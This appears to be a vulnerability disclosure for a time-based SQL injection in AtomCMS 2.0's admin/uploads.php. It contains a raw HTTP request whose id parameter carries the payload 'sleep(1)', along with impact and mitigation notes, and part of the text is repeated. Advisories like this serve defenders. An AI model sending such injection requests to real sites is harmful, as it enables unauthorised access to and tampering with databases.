Description:
SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.
Code Analysis:
GET /admin/uploads.php?id=sleep(1) HTTP/1.1
Host: test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://test.test/admin/index.php?page=settings
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
payload: sleep(1)
admin/uploads.php
Impact: Read and modify the users database
Mitigation: Use of Parameterized SQL Queries and Validation
Exploit Title: SQL Injection vulnerability on Atom.CMS_admin_uploads.php Date: 21-March-2022 Exploit Author: @Limerence Software Link: https://github.com/thedigicraft/Atom.CMS Version: AtomCMS 2.0
Description: SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.
Code Analysis:
payload: sleep(1)
admin/uploads.php![image](https://user-images.githubusercontent.com/31301145/159223871-2635fc18-4a1b-4852-b75d-d5aa6381f062.png)
Impact: Read and modify the users database Mitigation: Use of Parameterized SQL Queries and Validation